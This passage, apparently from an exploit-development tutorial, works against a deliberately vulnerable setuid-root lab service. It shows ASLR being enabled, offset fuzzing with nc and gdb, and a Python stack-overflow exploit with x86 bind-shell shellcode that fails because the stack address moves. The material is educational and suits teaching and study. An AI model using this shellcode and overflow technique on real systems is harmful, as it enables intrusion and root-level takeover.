[email protected]:/home/appuser# /spanls -l/span
span class="code-line"span class="go"total 12/span/span
span class="code-line"span class="go"-rwxr-xr-x 1 root root 8431 Jul 7 22:01 app-net/span/span
span class="code-line"span class="gp"
[email protected]:/home/appuser# /spanchmod u+s app-net /span
span class="code-line"span class="gp"
[email protected]:/home/appuser# /spanls -l/span
span class="code-line"span class="go"total 12/span/span
span class="code-line"span class="go"-rwsr-xr-x 1 root root 8431 Jul 7 22:01 app-net/span/span
span class="code-line"span class="gp"
[email protected]:/home/appuser# /spanspan class="nb"echo/span span class="err"#39;/spanThis is a top secret file!/span
span class="code-line"span class="go"Only people with the password should be able to view this file!#39; gt; secret.txt/span/span
span class="code-line"span class="gp"
[email protected]:/home/appuser# /spanls -l secret.txt/span
span class="code-line"span class="go"-rw-r--r-- 1 root root 93 Jul 7 22:02 secret.txt/span/span
span class="code-line"span class="gp"
[email protected]:/home/appuser# /spanchmod span class="m"600/span secret.txt/span
span class="code-line"span class="gp"
[email protected]:/home/appuser# /spanls -l secret.txt/span
span class="code-line"span class="go"-rw------- 1 root root 93 Jul 7 22:02 secret.txt/span/span
span class="code-line"span class="gp"
[email protected]:/home/appuser# /spancat secret.txt /span
span class="code-line"span class="go"This is a top secret file!/span/span
span class="code-line"span class="go"Only people with the password should be able to view this file!/span/span
span class="code-line"span class="gp"
[email protected]:/home/appuser# /spanspan class="nb"echo/span span class="s2"quot;084934-3492048234728-4847847quot;/span gt; token/span
span class="code-line"span class="gp"
[email protected]:/home/appuser# /spanls -l token /span
span class="code-line"span class="go"-rw-r--r-- 1 root root 29 Jul 7 22:03 token/span/span
span class="code-line"span class="gp"
[email protected]:/home/appuser# /spanchmod span class="m"600/span token /span
span class="code-line"span class="gp"
[email protected]:/home/appuser# /spancat token /span
span class="code-line"span class="go"084934-3492048234728-4847847/span/span
span class="code-line"span class="gp"
[email protected]:/home/appuser# /spansu - appuser/span
span class="code-line"span class="gp"
[email protected]:~$ /spanls -l/span
span class="code-line"span class="go"total 20/span/span
span class="code-line"span class="go"-rwsr-xr-x 1 root root 8431 Jul 7 22:01 app-net/span/span
span class="code-line"span class="go"-rw------- 1 root root 93 Jul 7 22:02 secret.txt/span/span
span class="code-line"span class="go"-rw------- 1 root root 29 Jul 7 22:03 token/span/span
span class="code-line"span class="gp"
[email protected]:~$ /spancat secret.txt/span
span class="code-line"span class="go"cat: secret.txt: Permission denied/span/span
span class="code-line"span class="gp"
[email protected]:~$ /spancat token/span
span class="code-line"span class="go"cat: token: Permission denied/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThe big difference here is that we did not change the content of the file code/proc/sys/kernel/randomize_va_space/code, if the value of this wasn't 2, then run the following command to change it: codeecho 2 gt; /proc/sys/kernel/randomize_va_space/code/p
pThis means that ASLR will be enabled. We can prove this by looking at the memory map of a process over multiple executions:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/span
span class="code-line"span class="normal"26/span/span
span class="code-line"span class="normal"27/span/span
span class="code-line"span class="normal"28/span/span
span class="code-line"span class="normal"29/span/span
span class="code-line"span class="normal"30/span/span
span class="code-line"span class="normal"31/span/span
span class="code-line"span class="normal"32/span/span
span class="code-line"span class="normal"33/span/span
span class="code-line"span class="normal"34/span/span
span class="code-line"span class="normal"35/span/span
span class="code-line"span class="normal"36/span/span
span class="code-line"span class="normal"37/span/span
span class="code-line"span class="normal"38/span/span
span class="code-line"span class="normal"39/span/span
span class="code-line"span class="normal"40/span/span
span class="code-line"span class="normal"41/span/span
span class="code-line"span class="normal"42/span/span
span class="code-line"span class="normal"43/span/span
span class="code-line"span class="normal"44/span/span
span class="code-line"span class="normal"45/span/span
span class="code-line"span class="normal"46/span/span
span class="code-line"span class="normal"47/span/span
span class="code-line"span class="normal"48/span/span
span class="code-line"span class="normal"49/span/span
span class="code-line"span class="normal"50/span/span
span class="code-line"span class="normal"51/span/span
span class="code-line"span class="normal"52/span/span
span class="code-line"span class="normal"53/span/span
span class="code-line"span class="normal"54/span/span
span class="code-line"span class="normal"55/span/span
span class="code-line"span class="normal"56/span/span
span class="code-line"span class="normal"57/span/span
span class="code-line"span class="normal"58/span/span
span class="code-line"span class="normal"59/span/span
span class="code-line"span class="normal"60/span/span
span class="code-line"span class="normal"61/span/span
span class="code-line"span class="normal"62/span/span
span class="code-line"span class="normal"63/span/span
span class="code-line"span class="normal"64/span/span
span class="code-line"span class="normal"65/span/span
span class="code-line"span class="normal"66/span/span
span class="code-line"span class="normal"67/span/span
span class="code-line"span class="normal"68/span/span
span class="code-line"span class="normal"69/span/span
span class="code-line"span class="normal"70/span/span
span class="code-line"span class="normal"71/span/span
span class="code-line"span class="normal"72/span/span
span class="code-line"span class="normal"73/span/span
span class="code-line"span class="normal"74/span/span
span class="code-line"span class="normal"75/span/span
span class="code-line"span class="normal"76/span/span
span class="code-line"span class="normal"77/span/span
span class="code-line"span class="normal"78/span/span
span class="code-line"span class="normal"79/span/span
span class="code-line"span class="normal"80/span/span
span class="code-line"span class="normal"81/span/span
span class="code-line"span class="normal"82/span/span
span class="code-line"span class="normal"83/span/span
span class="code-line"span class="normal"84/span/span
span class="code-line"span class="normal"85/span/span
span class="code-line"span class="normal"86/span/span
span class="code-line"span class="normal"87/span/span
span class="code-line"span class="normal"88/span/span
span class="code-line"span class="normal"89/span/span
span class="code-line"span class="normal"90/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"
[email protected]:~$ /spancat /proc/self/maps/span
span class="code-line"span class="go"08048000-08054000 r-xp 00000000 08:01 783374 /bin/cat/span/span
span class="code-line"span class="go"08054000-08055000 r--p 0000b000 08:01 783374 /bin/cat/span/span
span class="code-line"span class="go"08055000-08056000 rw-p 0000c000 08:01 783374 /bin/cat/span/span
span class="code-line"span class="go"0838a000-083ab000 rw-p 00000000 00:00 0 [heap]/span/span
span class="code-line"span class="go"b74e9000-b7528000 r--p 00000000 08:01 1066328 /usr/lib/locale/pap_AN/LC_CTYPE/span/span
span class="code-line"span class="go"b7528000-b7646000 r--p 00000000 08:01 1066368 /usr/lib/locale/pap_AN/LC_COLLATE/span/span
span class="code-line"span class="go"b7646000-b7647000 rw-p 00000000 00:00 0 /span/span
span class="code-line"span class="go"b7647000-b77a4000 r-xp 00000000 08:01 1045302 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so/span/span
span class="code-line"span class="go"b77a4000-b77a5000 ---p 0015d000 08:01 1045302 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so/span/span
span class="code-line"span class="go"b77a5000-b77a7000 r--p 0015d000 08:01 1045302 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so/span/span
span class="code-line"span class="go"b77a7000-b77a8000 rw-p 0015f000 08:01 1045302 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so/span/span
span class="code-line"span class="go"b77a8000-b77ab000 rw-p 00000000 00:00 0 /span/span
span class="code-line"span class="go"b77b7000-b77b8000 r--p 00000000 08:01 961741 /usr/lib/locale/
[email protected]/LC_NUMERIC/span/span
span class="code-line"span class="go"b77b8000-b77b9000 r--p 00000000 08:01 962466 /usr/lib/locale/en_ZM/LC_TIME/span/span
span class="code-line"span class="go"b77b9000-b77ba000 r--p 00000000 08:01 962019 /usr/lib/locale/gv_GB.utf8/LC_MONETARY/span/span
span class="code-line"span class="go"b77ba000-b77bb000 r--p 00000000 08:01 1071064 /usr/lib/locale/ne_NP/LC_MESSAGES/SYS_LC_MESSAGES/span/span
span class="code-line"span class="go"b77bb000-b77bc000 r--p 00000000 08:01 1065713 /usr/lib/locale/sr_RS/LC_PAPER/span/span
span class="code-line"span class="go"b77bc000-b77bd000 r--p 00000000 08:01 962122 /usr/lib/locale/cy_GB.utf8/LC_NAME/span/span
span class="code-line"span class="go"b77bd000-b77be000 r--p 00000000 08:01 962015 /usr/lib/locale/gv_GB.utf8/LC_ADDRESS/span/span
span class="code-line"span class="go"b77be000-b77bf000 r--p 00000000 08:01 962121 /usr/lib/locale/cy_GB.utf8/LC_TELEPHONE/span/span
span class="code-line"span class="go"b77bf000-b77c0000 r--p 00000000 08:01 1066122 /usr/lib/locale/sr_RS/LC_MEASUREMENT/span/span
span class="code-line"span class="go"b77c0000-b77c7000 r--s 00000000 08:01 827509 /usr/lib/i386-linux-gnu/gconv/gconv-modules.cache/span/span
span class="code-line"span class="go"b77c7000-b77c8000 r--p 00000000 08:01 963555 /usr/lib/locale/en_GB.utf8/LC_IDENTIFICATION/span/span
span class="code-line"span class="go"b77c8000-b77ca000 rw-p 00000000 00:00 0 /span/span
span class="code-line"span class="go"b77ca000-b77cb000 r-xp 00000000 00:00 0 [vdso]/span/span
span class="code-line"span class="go"b77cb000-b77e7000 r-xp 00000000 08:01 1062553 /lib/i386-linux-gnu/ld-2.13.so/span/span
span class="code-line"span class="go"b77e7000-b77e8000 r--p 0001b000 08:01 1062553 /lib/i386-linux-gnu/ld-2.13.so/span/span
span class="code-line"span class="go"b77e8000-b77e9000 rw-p 0001c000 08:01 1062553 /lib/i386-linux-gnu/ld-2.13.so/span/span
span class="code-line"span class="go"bfa32000-bfa53000 rw-p 00000000 00:00 0 [stack]/span/span
span class="code-line"span class="gp"
[email protected]:~$ /spancat /proc/self/maps/span
span class="code-line"span class="go"08048000-08054000 r-xp 00000000 08:01 783374 /bin/cat/span/span
span class="code-line"span class="go"08054000-08055000 r--p 0000b000 08:01 783374 /bin/cat/span/span
span class="code-line"span class="go"08055000-08056000 rw-p 0000c000 08:01 783374 /bin/cat/span/span
span class="code-line"span class="go"08dd9000-08dfa000 rw-p 00000000 00:00 0 [heap]/span/span
span class="code-line"span class="go"b74de000-b751d000 r--p 00000000 08:01 1066328 /usr/lib/locale/pap_AN/LC_CTYPE/span/span
span class="code-line"span class="go"b751d000-b763b000 r--p 00000000 08:01 1066368 /usr/lib/locale/pap_AN/LC_COLLATE/span/span
span class="code-line"span class="go"b763b000-b763c000 rw-p 00000000 00:00 0 /span/span
span class="code-line"span class="go"b763c000-b7799000 r-xp 00000000 08:01 1045302 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so/span/span
span class="code-line"span class="go"b7799000-b779a000 ---p 0015d000 08:01 1045302 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so/span/span
span class="code-line"span class="go"b779a000-b779c000 r--p 0015d000 08:01 1045302 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so/span/span
span class="code-line"span class="go"b779c000-b779d000 rw-p 0015f000 08:01 1045302 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so/span/span
span class="code-line"span class="go"b779d000-b77a0000 rw-p 00000000 00:00 0 /span/span
span class="code-line"span class="go"b77ac000-b77ad000 r--p 00000000 08:01 961741 /usr/lib/locale/
[email protected]/LC_NUMERIC/span/span
span class="code-line"span class="go"b77ad000-b77ae000 r--p 00000000 08:01 962466 /usr/lib/locale/en_ZM/LC_TIME/span/span
span class="code-line"span class="go"b77ae000-b77af000 r--p 00000000 08:01 962019 /usr/lib/locale/gv_GB.utf8/LC_MONETARY/span/span
span class="code-line"span class="go"b77af000-b77b0000 r--p 00000000 08:01 1071064 /usr/lib/locale/ne_NP/LC_MESSAGES/SYS_LC_MESSAGES/span/span
span class="code-line"span class="go"b77b0000-b77b1000 r--p 00000000 08:01 1065713 /usr/lib/locale/sr_RS/LC_PAPER/span/span
span class="code-line"span class="go"b77b1000-b77b2000 r--p 00000000 08:01 962122 /usr/lib/locale/cy_GB.utf8/LC_NAME/span/span
span class="code-line"span class="go"b77b2000-b77b3000 r--p 00000000 08:01 962015 /usr/lib/locale/gv_GB.utf8/LC_ADDRESS/span/span
span class="code-line"span class="go"b77b3000-b77b4000 r--p 00000000 08:01 962121 /usr/lib/locale/cy_GB.utf8/LC_TELEPHONE/span/span
span class="code-line"span class="go"b77b4000-b77b5000 r--p 00000000 08:01 1066122 /usr/lib/locale/sr_RS/LC_MEASUREMENT/span/span
span class="code-line"span class="go"b77b5000-b77bc000 r--s 00000000 08:01 827509 /usr/lib/i386-linux-gnu/gconv/gconv-modules.cache/span/span
span class="code-line"span class="go"b77bc000-b77bd000 r--p 00000000 08:01 963555 /usr/lib/locale/en_GB.utf8/LC_IDENTIFICATION/span/span
span class="code-line"span class="go"b77bd000-b77bf000 rw-p 00000000 00:00 0 /span/span
span class="code-line"span class="go"b77bf000-b77c0000 r-xp 00000000 00:00 0 [vdso]/span/span
span class="code-line"span class="go"b77c0000-b77dc000 r-xp 00000000 08:01 1062553 /lib/i386-linux-gnu/ld-2.13.so/span/span
span class="code-line"span class="go"b77dc000-b77dd000 r--p 0001b000 08:01 1062553 /lib/i386-linux-gnu/ld-2.13.so/span/span
span class="code-line"span class="go"b77dd000-b77de000 rw-p 0001c000 08:01 1062553 /lib/i386-linux-gnu/ld-2.13.so/span/span
span class="code-line"span class="go"bfad4000-bfaf5000 rw-p 00000000 00:00 0 [stack]/span/span
span class="code-line"span class="gp"
[email protected]:~$ /spancat /proc/self/maps/span
span class="code-line"span class="go"08048000-08054000 r-xp 00000000 08:01 783374 /bin/cat/span/span
span class="code-line"span class="go"08054000-08055000 r--p 0000b000 08:01 783374 /bin/cat/span/span
span class="code-line"span class="go"08055000-08056000 rw-p 0000c000 08:01 783374 /bin/cat/span/span
span class="code-line"span class="go"09908000-09929000 rw-p 00000000 00:00 0 [heap]/span/span
span class="code-line"span class="go"b7435000-b7474000 r--p 00000000 08:01 1066328 /usr/lib/locale/pap_AN/LC_CTYPE/span/span
span class="code-line"span class="go"b7474000-b7592000 r--p 00000000 08:01 1066368 /usr/lib/locale/pap_AN/LC_COLLATE/span/span
span class="code-line"span class="go"b7592000-b7593000 rw-p 00000000 00:00 0 /span/span
span class="code-line"span class="go"b7593000-b76f0000 r-xp 00000000 08:01 1045302 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so/span/span
span class="code-line"span class="go"b76f0000-b76f1000 ---p 0015d000 08:01 1045302 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so/span/span
span class="code-line"span class="go"b76f1000-b76f3000 r--p 0015d000 08:01 1045302 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so/span/span
span class="code-line"span class="go"b76f3000-b76f4000 rw-p 0015f000 08:01 1045302 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so/span/span
span class="code-line"span class="go"b76f4000-b76f7000 rw-p 00000000 00:00 0 /span/span
span class="code-line"span class="go"b7703000-b7704000 r--p 00000000 08:01 961741 /usr/lib/locale/
[email protected]/LC_NUMERIC/span/span
span class="code-line"span class="go"b7704000-b7705000 r--p 00000000 08:01 962466 /usr/lib/locale/en_ZM/LC_TIME/span/span
span class="code-line"span class="go"b7705000-b7706000 r--p 00000000 08:01 962019 /usr/lib/locale/gv_GB.utf8/LC_MONETARY/span/span
span class="code-line"span class="go"b7706000-b7707000 r--p 00000000 08:01 1071064 /usr/lib/locale/ne_NP/LC_MESSAGES/SYS_LC_MESSAGES/span/span
span class="code-line"span class="go"b7707000-b7708000 r--p 00000000 08:01 1065713 /usr/lib/locale/sr_RS/LC_PAPER/span/span
span class="code-line"span class="go"b7708000-b7709000 r--p 00000000 08:01 962122 /usr/lib/locale/cy_GB.utf8/LC_NAME/span/span
span class="code-line"span class="go"b7709000-b770a000 r--p 00000000 08:01 962015 /usr/lib/locale/gv_GB.utf8/LC_ADDRESS/span/span
span class="code-line"span class="go"b770a000-b770b000 r--p 00000000 08:01 962121 /usr/lib/locale/cy_GB.utf8/LC_TELEPHONE/span/span
span class="code-line"span class="go"b770b000-b770c000 r--p 00000000 08:01 1066122 /usr/lib/locale/sr_RS/LC_MEASUREMENT/span/span
span class="code-line"span class="go"b770c000-b7713000 r--s 00000000 08:01 827509 /usr/lib/i386-linux-gnu/gconv/gconv-modules.cache/span/span
span class="code-line"span class="go"b7713000-b7714000 r--p 00000000 08:01 963555 /usr/lib/locale/en_GB.utf8/LC_IDENTIFICATION/span/span
span class="code-line"span class="go"b7714000-b7716000 rw-p 00000000 00:00 0 /span/span
span class="code-line"span class="go"b7716000-b7717000 r-xp 00000000 00:00 0 [vdso]/span/span
span class="code-line"span class="go"b7717000-b7733000 r-xp 00000000 08:01 1062553 /lib/i386-linux-gnu/ld-2.13.so/span/span
span class="code-line"span class="go"b7733000-b7734000 r--p 0001b000 08:01 1062553 /lib/i386-linux-gnu/ld-2.13.so/span/span
span class="code-line"span class="go"b7734000-b7735000 rw-p 0001c000 08:01 1062553 /lib/i386-linux-gnu/ld-2.13.so/span/span
span class="code-line"span class="go"bfc79000-bfc9a000 rw-p 00000000 00:00 0 [stack]/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis command displays the memory ranges of each memory segment inside the codecat/code commands own virtual memory space./p
pAs you can see, all of the memory segments are changing their ranges except for the top 3. These top 3 belong to the actual code of the application./p
pThis means that we can only predict memory addresses of the actual code of the application and nothing that is dynamically loaded or writable./p
pEvery payload we have sent until now has been placed on the codestack/code, which is at the very bottom of the memory segment list on the output and this section of memory isn't static so we can no longer predict the address of our payload (the shellcode)./p
h2Testing The App/h2
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"
[email protected]:~$ /span./app-net/span
span class="code-line"/code/pre/div
/td/tr/table
pWe already know a lot about this application, lets try our exploit from last time:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"
[email protected]:~$ /spanpython app-net-fuzz.py /span
span class="code-line"span class="go"532/span/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"
[email protected]:~$ /spangdb -q ./app-net /span
span class="code-line"span class="go"Reading symbols from /home/appuser/app-net...(no debugging symbols found)...done./span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"r/span/span
span class="code-line"span class="go"Starting program: /home/appuser/app-net /span/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"
[email protected]:~$ /spanpython -c span class="s1"#39;print quot;Aquot;*532#39;/span span class="p"|/span nc span class="m"127/span.0.0.1 span class="m"9999/span/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/span
span class="code-line"span class="normal"6/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go"Program received signal SIGSEGV, Segmentation fault./span/span
span class="code-line"span class="go"0x0804000a in ?? ()/span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"r/span/span
span class="code-line"span class="go"The program being debugged has been started already./span/span
span class="code-line"span class="go"Start it from the beginning? (y or n) y/span/span
span class="code-line"span class="go"Starting program: /home/appuser/app-net/span/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"
[email protected]:~$ /spanpython -c span class="s1"#39;print quot;Aquot;*536#39;/span span class="p"|/span nc span class="m"127/span.0.0.1 span class="m"9999/span/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go"Program received signal SIGSEGV, Segmentation fault./span/span
span class="code-line"span class="go"0x41414141 in ?? ()/span/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"
[email protected]:~$ /span./app-net /span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"
[email protected]:~# /spanps ax span class="p"|/span grep app-net/span
span class="code-line"span class="go"26854 pts/0 S+ 0:00 ./app-net/span/span
span class="code-line"span class="go"26951 pts/2 S+ 0:00 grep app-net/span/span
span class="code-line"span class="gp"
[email protected]:~# /spangdb -q -p span class="m"26854/span/span
span class="code-line"span class="go"Attaching to process 26854/span/span
span class="code-line"span class="go"Reading symbols from /home/appuser/app-net...(no debugging symbols found)...done./span/span
span class="code-line"span class="go"Reading symbols from /lib/i386-linux-gnu/i686/cmov/libc.so.6...(no debugging symbols found)...done./span/span
span class="code-line"span class="go"Loaded symbols for /lib/i386-linux-gnu/i686/cmov/libc.so.6/span/span
span class="code-line"span class="go"Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done./span/span
span class="code-line"span class="go"Loaded symbols for /lib/ld-linux.so.2/span/span
span class="code-line"span class="go"0xb77c0424 in __kernel_vsyscall ()/span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"c/span/span
span class="code-line"span class="go"Continuing./span/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"
[email protected]:~$ /spanpython -c span class="s1"#39;print quot;Aquot;*536#39;/span span class="p"|/span nc span class="m"127/span.0.0.1 span class="m"9999/span/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/span
span class="code-line"span class="normal"6/span/span
span class="code-line"span class="normal"7/span/span
span class="code-line"span class="normal"8/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go"Program received signal SIGSEGV, Segmentation fault./span/span
span class="code-line"span class="go"0x41414141 in ?? ()/span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"x/20xw $esp/span/span
span class="code-line"span class="go"0xbfaeb670: 0xbfae000a 0xbfaeb694 0x000003e8 0x00000000/span/span
span class="code-line"span class="go"0xbfaeb680: 0xbfaeba80 0xbfaeba7c 0x000057a8 0x00000006/span/span
span class="code-line"span class="go"0xbfaeb690: 0x00001000 0x41414141 0x41414141 0x41414141/span/span
span class="code-line"span class="go"0xbfaeb6a0: 0x41414141 0x41414141 0x41414141 0x41414141/span/span
span class="code-line"span class="go"0xbfaeb6b0: 0x41414141 0x41414141 0x41414141 0x41414141/span/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"
[email protected]:~$ /span./app-net/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/span
span class="code-line"span class="normal"26/span/span
span class="code-line"span class="normal"27/span/span
span class="code-line"span class="normal"28/span/span
span class="code-line"span class="normal"29/span/span
span class="code-line"span class="normal"30/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"
[email protected]:~$ /spancat app-net-exploit.py /span
span class="code-line"span class="gp"#/span!/usr/bin/env python/span
span class="code-line"/span
span class="code-line"span class="go"import socket/span/span
span class="code-line"/span
span class="code-line"span class="go"shellcode = quot;\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x17\x31\xdb\xcd\x80\x89\xd8\xb0\x66\xb3\x01\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x27\x0e\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80quot;/span/span
span class="code-line"/span
span class="code-line"span class="go"payload = quot;\x90quot; * 406 # (532 - 119) - 7 = 406/span/span
span class="code-line"/span
span class="code-line"span class="go"payload += shellcode # append our shellcode/span/span
span class="code-line"/span
span class="code-line"span class="go"payload += quot;\x90quot; * 7 # another 7 bytes/span/span
span class="code-line"/span
span class="code-line"span class="go"payload += quot;\x94\xb6\xae\xbfquot; # the address of our shellcode/span/span
span class="code-line"span class="gp" # /spanspan class="k"in/span reverse span class="o"(/spanlittle endianspan class="o")/span/span
span class="code-line"/span
span class="code-line"span class="gp"# /spancreate the tcp socket/span
span class="code-line"span class="go"s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)/span/span
span class="code-line"/span
span class="code-line"span class="gp"# /spanconnect to span class="m"127/span.0.0.1 port span class="m"9999/span/span
span class="code-line"span class="go"s.connect((quot;127.0.0.1quot;, 9999))/span/span
span class="code-line"/span
span class="code-line"span class="gp"# /spansend our payload/span
span class="code-line"span class="go"s.send(payload)/span/span
span class="code-line"/span
span class="code-line"span class="gp"# /spanclose the socket/span
span class="code-line"span class="go"s.close()/span/span
span class="code-line"span class="gp"
[email protected]:~$ /spanpython app-net-exploit.py /span
span class="code-line"span class="gp"
[email protected]:~$ /spannc span class="m"127/span.0.0.1 span class="m"9998/span/span
span class="code-line"span class="go"nc: unable to connect to address 127.0.0.1, service 9998/span/span
span class="code-line"/code/pre/div
/td/tr/table
pAs you can see, the exploit that we used last time didn't work. The reason for this is because the position of the stack has moved, so the shellcode isn't at the same address everytime the application is launched./p
pThe offset here before we start overwriting EIP is 532. I want to explain quickly why this is./p
pWe have 3 local variables, codechar p[512];/code (on line 100 of the source) and codeint r, i;/code (on line 101)./p
pThese variables go on to the stack in reverse order, so first (closest to the beginning of the a href="https://en.wikipedia.org/wiki/Call_stack#Structure" target="_blank"stack frame/a) codei/code, then coder/code and lastly codep/code./p
pWhen writes happen here they happen in the opposite direction, so a write at codep/code will eventually overwrite coder/code (after filling up the reserved space for codep/code) and then codei/code./p
pWe are reserving 512 bytes for codep/code, each int is 4 bytes long, so that is 520. The stack has to be aligned to 16 byte boundaries, so we need to add another 8 bytes, making it 528 bytes./p
pLastly right under the local variables we have the saved EBP from the calling function, this is another 4 bytes. The return address is stored right after the saved EBP so that takes us to 532 bytes./p
h2Returning From A Function/h2
